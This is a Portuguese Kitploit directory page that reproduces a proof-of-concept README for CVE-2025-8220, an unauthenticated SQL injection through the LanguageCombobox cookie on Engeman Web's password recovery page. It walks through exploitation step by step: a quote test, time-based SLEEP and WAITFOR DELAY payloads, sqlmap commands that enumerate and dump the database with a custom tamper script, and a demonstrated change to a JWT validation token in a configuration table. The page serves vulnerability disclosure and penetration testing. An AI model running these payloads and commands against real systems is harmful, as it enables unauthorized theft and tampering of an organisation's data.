Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
engeman-web-language-combobox-sqli — Prova de conceito para exploração da vulnerabilidade descrita em CVE-2025-8220, que diz respeito à possibilidade de injeção de SQL durante o carregamento da página de recuperação de senha no software Engeman Web. | Kitploit
Ferramentas/GitHubGitHub/m3m0o/engeman-web-language-combobox-sqli
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubm3m0o/engeman-web-language-combobox-sqli

engeman-web-language-combobox-sqli

Prova de conceito para exploração da vulnerabilidade descrita em CVE-2025-8220, que diz respeito à possibilidade de injeção de SQL durante o carregamento da página de recuperação de senha no software Engeman Web.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
3há 10 mesesAinda não revisado

Engeman Web <= 12.0.0.2 Página de Carregamento de Recuperação de Senha Injeção de SQL Não Autenticada

Prova de conceito para exploração da vulnerabilidade descrita em CVE-2025-8220, que diz respeito à possibilidade de Injeção de SQL durante o carregamento da página de recuperação de senha no software Engeman Web.

Descrição

Foi encontrada uma vulnerabilidade que permite a manipulação da consulta SQL feita durante o carregamento da página de recuperação de senha no software Engeman Web. Esta vulnerabilidade pode ser explorada por visitantes sem acesso a nenhuma credencial válida, ou seja, de forma não autenticada, para comprometer a confidencialidade e a integridade dos dados armazenados no banco de dados da aplicação, bem como potencialmente causar negação de serviço no nível do componente ao alterar valores em tabelas críticas.

Site do Fornecedor

https://engeman.com/en/

Exploração

Após acessar a aplicação e ser redirecionado para a página de login, clique no botão para ser redirecionado para a página de recuperação de senha.

Página inicial do Engeman Web

Página de recuperação de senha do Engeman Web

Verifique a requisição feita pelo navegador para carregar a página de recuperação de senha. Você notará que alguns cookies estão presentes, incluindo o cookie LanguageCombobox, que é armazenado durante o acesso inicial. O software Burp Suite foi utilizado nesta demonstração para visualizar e reenviar as requisições do navegador de forma mais eficiente.

Requisição feita para obter o conteúdo da página de recuperação de senha

Para confirmar a vulnerabilidade, insira uma aspas simples como valor do cookie mencionado e reenvie a requisição. Um erro indicando uma aspas não fechada deve ser exibido na resposta da aplicação.

Forçando um erro na aplicação através de uma aspas simples no valor do cookie LanguageCombobox

Os resultados da consulta não são exibidos diretamente na página retornada, tornando esta uma exploração cega. Você pode inserir payloads como ' AND SLEEP(30)-- - ou '; WAITFOR DELAY '0:0:30'-- para inferir o banco de dados subjacente.

Inferindo o tipo de banco de dados subjacente através de um payload baseado em tempo

Uma vez confirmada a injeção, uma ferramenta automatizada como o sqlmap pode ser usada para despejar o banco de dados.

É importante observar que o argumento --technique deve incluir o valor SEB para que sejam usadas técnicas baseadas em consultas empilhadas, erros e comparações booleanas. Primeiro, porque é necessária uma exploração cega e, segundo, porque omitir a opção S do valor do argumento fez com que o sqlmap não conseguisse encontrar o ponto de injeção em bancos de dados SQL Server.

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch

Usando o sqlmap para testar o ponto de injeção

Diferentes técnicas de exploração possíveis serão identificadas através do ponto de injeção. Depois disso, as informações do banco de dados podem ser recuperadas.

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch --dbs

Obtendo os bancos de dados disponíveis através do sqlmap

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman --tables

Obtendo as tabelas disponíveis através do sqlmap

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --columns

Obtendo as colunas disponíveis através do sqlmap

Para despejar registros de tabelas usando o sqlmap, é necessário usar um script de tamper personalizado (pelo menos para bancos de dados SQL Server) que neste repositório se chama replace-dbo.py. A razão para isso é que os payloads do sqlmap que usam o formato <database>.dbo.<table> para referenciar o objeto de tabela entram em conflito com o processamento da aplicação. O tamper mencionado converte-o apenas para o formato <database>.<table>. Se a instância do Engeman Web usar MySQL ou outro banco de dados, este tamper não será necessário, ou outro precisará ser criado.

Testando um payload com o formato <database>.dbo.<table> para referenciar o objeto de tabela

Testando o mesmo payload, mas agora com o formato <database>.<table> para referenciar o objeto de tabela

Lembre-se de que a ferramenta sqlmap exige que um arquivo vazio chamado init.py exista no diretório onde o script de tamper está localizado para que ele possa ser usado, caso você não o tenha colocado no diretório de tamper padrão da sua instalação.

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --dump --tamper <tamper-file>.py

Recuperando as configurações gerais da aplicação

Este tamper causará conflitos se for usado em qualquer etapa do processo que não seja durante o despejo de uma tabela específica. Portanto, não o use para obter os bancos de dados (--dbs), as tabelas (--tables), as colunas (--columns) ou informações adicionais, como o usuário do banco de dados (--current-user).

Como o usuário usado pela aplicação para interagir com o banco de dados tem privilégios elevados no contexto dos registros do sistema, também é possível manipular a consulta subjacente para alterar os valores dos registros da tabela (isso é muito mais fácil se a instância estiver usando SQL Server como banco de dados subjacente).

Valor inicial da entrada única da coluna JWTVALIDOTOKEN da tabela CFGGERAL

Modificando o valor da coluna de entrada JWTVALIDOTOKEN

Valor modificado da entrada única da coluna JWTVALIDOTOKEN da tabela CFGGERAL

Impacto

Através desta vulnerabilidade, qualquer instância do sistema estaria suscetível à recuperação não autorizada e possivelmente à modificação de dados presentes no banco de dados em uso.

Esta vulnerabilidade foi confirmada em versões até 12.0.0.1, mas uma versão mais recente provavelmente também é vulnerável.

Baixar ferramenta